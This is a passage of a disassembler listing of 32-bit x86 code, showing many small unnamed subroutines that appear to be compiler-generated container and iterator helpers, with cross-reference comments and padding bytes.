		lea	eax, [esp+4+arg_8]
		lea	ecx, [esp+4+arg_4]
		push	eax
		call	sub_401CA8
		test	al, al
		jz	short loc_415AED
		push	edi
		mov	edi, [esp+8+arg_0]


loc_415ABA:				; CODE XREF: sub_415AA0+4Aj
		lea	ecx, [esp+8+arg_4]
		call	sub_401A4B
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_40215D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8+arg_4]
		call	sub_4020EF
		lea	edx, [esp+8+arg_8]
		lea	ecx, [esp+8+arg_4]
		push	edx
		call	sub_401CA8
		test	al, al
		jnz	short loc_415ABA
		pop	edi


loc_415AED:				; CODE XREF: sub_415AA0+13j
		pop	esi
		retn	0Ch
sub_415AA0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415B20	proc near		; CODE XREF: sub_401FAFj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_40156E
		mov	ecx, eax
		call	sub_401C4E
		mov	esi, eax
		push	esi
		call	sub_40208B
		push	esi
		mov	ebx, eax
		call	sub_401104
		mov	ecx, [eax]
		push	ecx
		call	sub_40208B
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401104
		push	esi
		mov	ebx, eax
		call	sub_40208B
		mov	eax, [eax]
		push	eax
		call	sub_401104
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401EFB
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4014F6
		push	esi
		mov	ecx, edi
		call	sub_401CD5
sub_415B20	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415BE0	proc near		; CODE XREF: sub_401465j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401D5C
		test	al, al
		jz	short loc_415C3A


loc_415BF8:				; CODE XREF: sub_415BE0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_40156E
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401FAF
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401D5C
		test	al, al
		jnz	short loc_415BF8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_415C3A:				; CODE XREF: sub_415BE0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_415BE0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415C70	proc near		; CODE XREF: sub_401EBAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4020D6
sub_415C70	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_415C85
		mov	edi, esi


loc_415C85:				; CODE XREF: ___:00415C81j
		push	esi
		call	sub_40208B
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_415C9A
		mov	edi, esi


loc_415C9A:				; CODE XREF: ___:00415C96j
		push	esi
		call	sub_401104
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415CC0	proc near		; CODE XREF: sub_401CD5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401E01
sub_415CC0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415CE0	proc near		; CODE XREF: sub_40208Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_415CE0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415D00	proc near		; CODE XREF: sub_401EFBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_415D00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415D20	proc near		; CODE XREF: sub_401EB5j
		mov	eax, ecx
		retn
sub_415D20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415D40	proc near		; CODE XREF: sub_401DA7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401753
		mov	eax, esi
		pop	esi
		retn	4
sub_415D40	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415D70	proc near		; CODE XREF: sub_40156Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_4020A4
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_415D70	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415DA0	proc near		; CODE XREF: sub_4015CDj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_415DA0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415DD0	proc near		; CODE XREF: sub_401A96j

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401F6E
		mov	edi, eax
		push	edi
		call	sub_401163
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401C7B
sub_415DD0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401163
		push	edi
		mov	[eax], ebx
		call	sub_401163
		mov	edi, [eax]
		push	edi
		call	sub_401163
		mov	ecx, [eax]
		push	ecx
		call	sub_401249
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_402126
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4015E6
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401CC6
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415E70	proc near		; CODE XREF: sub_4017DFj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4010DC
		mov	ecx, eax
		call	sub_401F6E
		mov	esi, eax
		push	esi
		call	sub_401249
		push	esi
		mov	ebx, eax
		call	sub_401163
		mov	ecx, [eax]
		push	ecx
		call	sub_401249
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401163
		push	esi
		mov	ebx, eax
		call	sub_401249
		mov	eax, [eax]
		push	eax
		call	sub_401163
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_402126
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401D4D
		push	esi
		mov	ecx, edi
		call	sub_401E1A
sub_415E70	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415F30	proc near		; CODE XREF: sub_40132Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401AD7
		test	al, al
		jz	short loc_415F8A


loc_415F48:				; CODE XREF: sub_415F30+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4010DC
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4017DF
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401AD7
		test	al, al
		jnz	short loc_415F48
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_415F8A:				; CODE XREF: sub_415F30+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_415F30	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415FC0	proc near		; CODE XREF: sub_401C7Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4015A5
sub_415FC0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_415FD5
		mov	edi, esi


loc_415FD5:				; CODE XREF: ___:00415FD1j
		push	esi
		call	sub_401249
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_415FEA
		mov	edi, esi


loc_415FEA:				; CODE XREF: ___:00415FE6j
		push	esi
		call	sub_401163
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416010	proc near		; CODE XREF: sub_401E1Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4010D7
sub_416010	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416030	proc near		; CODE XREF: sub_401249j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_416030	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416050	proc near		; CODE XREF: sub_402126j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_416050	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416070	proc near		; CODE XREF: sub_401E79j
		mov	eax, ecx
		retn
sub_416070	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416090	proc near		; CODE XREF: sub_401CC6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401357
		mov	eax, esi
		pop	esi
		retn	4
sub_416090	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4160C0	proc near		; CODE XREF: sub_4010DCj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_4018B6
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4160C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4160F0	proc near		; CODE XREF: sub_401EA6j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4160F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416120	proc near		; CODE XREF: sub_401CFDj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4012CB
		mov	edi, eax
		push	edi
		call	sub_4017D5
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401DA2
sub_416120	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_4017D5
		push	edi
		mov	[eax], ebx
		call	sub_4017D5
		mov	edi, [eax]
		push	edi
		call	sub_4017D5
		mov	ecx, [eax]
		push	ecx
		call	sub_401BB8
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_4017DA
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401DFC
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401D66
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4161C0	proc near		; CODE XREF: sub_401078j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401EA1
		mov	ecx, eax
		call	sub_4012CB
		mov	esi, eax
		push	esi
		call	sub_401BB8
		push	esi
		mov	ebx, eax
		call	sub_4017D5
		mov	ecx, [eax]
		push	ecx
		call	sub_401BB8
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_4017D5
		push	esi
		mov	ebx, eax
		call	sub_401BB8
		mov	eax, [eax]
		push	eax
		call	sub_4017D5
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_4017DA
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4013F7
		push	esi
		mov	ecx, edi
		call	sub_401EF6
sub_4161C0	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416280	proc near		; CODE XREF: sub_401401j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401339
		test	al, al
		jz	short loc_4162DA


loc_416298:				; CODE XREF: sub_416280+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401EA1
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401078
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401339
		test	al, al
		jnz	short loc_416298
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4162DA:				; CODE XREF: sub_416280+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_416280	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416310	proc near		; CODE XREF: sub_401DA2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401E9C
sub_416310	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_416325
		mov	edi, esi


loc_416325:				; CODE XREF: ___:00416321j
		push	esi
		call	sub_401BB8
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_41633A
		mov	edi, esi


loc_41633A:				; CODE XREF: ___:00416336j
		push	esi
		call	sub_4017D5
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416360	proc near		; CODE XREF: sub_401EF6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401857
sub_416360	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416380	proc near		; CODE XREF: sub_401BB8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_416380	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4163A0	proc near		; CODE XREF: sub_4017DAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_4163A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4163C0	proc near		; CODE XREF: sub_401E29j
		mov	eax, ecx
		retn
sub_4163C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4163E0	proc near		; CODE XREF: sub_401D66j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40160E
		mov	eax, esi
		pop	esi
		retn	4
sub_4163E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416410	proc near		; CODE XREF: sub_401EA1j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40118B
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_416410	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416440	proc near		; CODE XREF: sub_40144Cj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_416440	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416470	proc near		; CODE XREF: sub_401104j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_416470	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416490	proc near		; CODE XREF: sub_4020D6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_416490	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4164C0	proc near		; CODE XREF: sub_401E01j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_4164C0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4164E0	proc near		; CODE XREF: sub_402194j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40125D
		add	esp, 8
		retn	8
sub_4164E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416510	proc near		; CODE XREF: sub_4014F6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_6
		pop	ecx
		retn	4
sub_416510	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416530	proc near		; CODE XREF: sub_401753j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_416530	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416550	proc near		; CODE XREF: sub_401A4Bj
		mov	eax, [ecx]
		push	eax
		call	sub_401EFB
		add	esp, 4
		retn
sub_416550	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416570	proc near		; CODE XREF: sub_4020EFj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40208B
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_416570	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4165A0	proc near		; CODE XREF: sub_401CA8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401E56
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_4165A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4165D0	proc near		; CODE XREF: sub_401C4Ej
		mov	eax, [ecx]
		retn
sub_4165D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4165F0	proc near		; CODE XREF: sub_401163j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4165F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416610	proc near		; CODE XREF: sub_4015A5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_416610	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416640	proc near		; CODE XREF: sub_4010D7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_416640	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416660	proc near		; CODE XREF: sub_4015E6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_402040
		add	esp, 8
		retn	8
sub_416660	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416690	proc near		; CODE XREF: sub_401D4Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_5
		pop	ecx
		retn	4
sub_416690	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4166B0	proc near		; CODE XREF: sub_401357j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4166B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4166D0	proc near		; CODE XREF: sub_401F6Ej
		mov	eax, [ecx]
		retn
sub_4166D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4166F0	proc near		; CODE XREF: sub_4017D5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4166F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416710	proc near		; CODE XREF: sub_401E9Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_416710	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416740	proc near		; CODE XREF: sub_401857j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_416740	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416760	proc near		; CODE XREF: sub_401DFCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4020CC
		add	esp, 8
		retn	8
sub_416760	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416790	proc near		; CODE XREF: sub_4013F7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_3
		pop	ecx
		retn	4
sub_416790	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167B0	proc near		; CODE XREF: sub_40160Ej

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4167B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167D0	proc near		; CODE XREF: sub_4012CBj
		mov	eax, [ecx]
		retn
sub_4167D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



